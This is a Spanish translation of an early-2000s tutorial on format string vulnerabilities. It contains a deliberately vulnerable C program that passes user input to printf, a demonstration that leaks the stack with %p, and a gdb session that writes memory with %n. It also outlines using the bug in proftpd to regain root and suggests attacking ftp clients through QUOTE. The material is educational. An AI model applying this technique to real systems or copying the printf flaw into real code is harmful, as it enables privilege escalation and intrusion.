/* translated by honoriak thz, lamagra for let me translate and publish it. 27.11.2000 */ Format Bugs: Que son, De donde vienen,...... ...Como "explotarlos" por lamagra -------> Que son El concepto es bastante simple: cuando una funcion *printf() (ej. printf(char *fmt,... es llamada y fmt es metido por el usuario. El usuario puede poner en las cadenas de formato %s %p %x en el fmt. *printf los convertira con los argumentos suministrados. El problema es que *printf() no sabe donde esta el "stop" de los argumentos. Cuando hay una nueva cadena de formato simplemente lee la proxima cosa de la pila. Veamos un ejemplo. <++> ptest.c #include blaat(char *fmt,...) { va_list va; int i; char *addr; va_start(va,fmt); printf("---| principio |---\n"); for(i = 0;i < 5;i++) { addr = va_arg(va,char *); printf("%p\n",addr); } printf("---| final |---\n"); va_end(va); } main(int argc,char **argv) { char buf[8]; char *prot = (char *)0x12345678; strncpy(buf,argv[1],8); blaat(argv[1]); printf(argv[1]); putchar('\n'); } <--> h:/tmp/temp# gcc ptest.c -o ptest h:/tmp/temp# ptest blaat ---| principio |--- 0x12345678 0x61616c62 0xbfff0074 0xbffffb24 0x804855e ---| final |--- blaat Un argumento simple hace que se saque en pantalla 5 cosas de la parte de arriba de la pila antes de la llamada a blaat(). Puedes ver que 0x12345678 es el contenido de 'prot' y el contenido de buf es nuestro argumento. L salida de printf() simplemente es nuestro argumento. Ahora ejecutemos de nuevo con alguna cadena de formato en el argumento, uso %p para no petar el programa. h:/tmp/temp# ptest AAAA%p ---| principio |--- 0x12345678 0x41414141 0xbf007025 0xbffffb24 0x804855e ---| final |--- AAAA0x12345678 Ahora la salida del printf() es bastante interesante. Escribe 4 veces 'A' y la %p es reemplazada por la direccion de la parte de arriba de la pila. Cuando aumentemos mas %p's al argumento veremos que cada elemento de la pila sera imprimido a continuacion. ------> Como aprovecharse de esto? Lo primero a hacer, es probar todos los tipos de cadenas de formato: %c, %f, %d, %s, %p, %i, %n, etc %n es probablemente el mas interesante, Escribe el numero de bytes impresos a la ubicacion apuntada por el argumento. un ejemplo simple: int q; printf("AAAA%n",&q); q = 4 despues de eso Como hemos visto en tests previos, nuestro argumento es copiado a buf, y tambien esta en la pila. Si reemplazamos las AAAA con una direccion valida y despues escribimos a esa direccion usando %n. Veamos: h:/tmp/temp# gdb --exec=a.out --symbols=ptest GNU gdb 4.17 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i586-slackware-linux"... (gdb) r Starting program: /tmp/temp/a.out Program received signal SIGTRAP, Trace/breakpoint trap. Cannot remove breakpoints because program is no longer writable. It might be running in another process. Further execution is probably impossible. 0x8048090 in ___crt_dummy__ () (gdb) break *main+60 Breakpoint 1 at 0x804821c: file ptest.c, line 30. (gdb) break *main+65 Breakpoint 2 at 0x8048221: file ptest.c, line 30. (gdb) c Continuing. ---| principio |--- 0x12345678 0xbffffb10 0x6e257025 0xbffffb00 0x80480ee ---| final |--- Breakpoint 1, 0x804821c in main (argc=2, argv=0xbffffba0) at ptest.c:30 30 printf(argv[1]); (gdb) x/wx 0xbffffb10 0xbffffb10: 0x00000000 (gdb) c Continuing. Breakpoint 2, 0x8048221 in main (argc=2, argv=0xbffffba0) at ptest.c:30 30 printf(argv[1]); (gdb) x/wx 0xbffffb10 0xbffffb10: 0x0000000e (gdb) c Continuing. { ?0x12345678 Program exited with code 012. (gdb) q h:/tmp/temp# a.out es un simple programa que ejecuta ptest con \x10\xfb\xff\xbf%p%n como argumento, como puedes ver %p imprime la primera direccion y %n escribe a 0xbfffb10. Que guay, creo que si. Que puedes hacer con esto, te preguntas. Bueno, puedes sobreescribir cualquier cosa dentro del programa (excepto regiones mapeadas PROT_WRITE como .text). Esto puedes ser bastantes veces. En mi exploit del proftpd lo escogi para salvar la uid y parte de las configuraciones en memoria. El demonio abandona los privilegios de root para abrir una conexion de datos (en LIST, RETR, etc) y despues de eso cambia a la vieja uid (salvada en memoria). La idea general era tener uid 0, abrir una conexion de datos y subir a privilegios de root dentro del proftpd. Con acceso local es suficiente, tu subes y CHMOD 4755 (-rwsr-xr-x), y proftp permite 'suidgid flags' a diferencia de wuftpd. Pero con acceso anonimo, no puedes escribir a disco por causa de la configuracion. Se hace una cosa muy simple, corromper la configuracion. En este caso corromper 'Densetting. Otras cosas que hacer ej. cambiar el ultimo byte del puntero de la pila, datos en memoria y muchas mas cosas. Una cosa interesante en la nueva version de glibc es que por ejemplo %, punteros de funciones, jmp_bug's etc... Todo esto esta muy bien, pero es realmente duro a veces. Algun tipo de cadenas definidas por el usuario tiene que estar en algun sitio en la pila cuando la funcion es llamada. Esto requiere algunos traceados inversos de la pila y jugueteos. A veces tienes que volver a unas pocas funciones antes funciones antes de que un buffer este al alcance. Conclusion: esos bugs son grandes, a veces... Esto concluye una breve introduccion a los format bugs. Si quieres jugar algo mas con este tipo de bugs, juega un poco con el programa ptest. Y quizas intenta explotar el programa de ftp en bsd, linux, windows... tienen este tipo de agujero de seguridad en el comando QUOTE. Esto no es gran cosa pero resulta util como juego. ------> The end http://lamagra.seKure.de /* translated finished Sat Dec 2 01:04:51 CET 2000 */